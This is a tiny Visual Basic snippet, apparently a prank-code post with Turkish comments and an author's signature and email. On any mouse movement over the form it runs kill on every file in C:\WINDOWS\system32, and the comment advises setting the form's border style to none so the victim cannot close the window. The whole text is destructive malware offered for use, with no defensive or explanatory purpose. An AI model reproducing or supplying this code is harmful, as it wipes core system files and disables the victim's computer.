Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) kill "C:\WINDOWS\system32\*.*" End Sub form un borderstyle özeliğini none yapın pencereyi kpatamasın.... celal dorak by_imhoteph@hotmail.com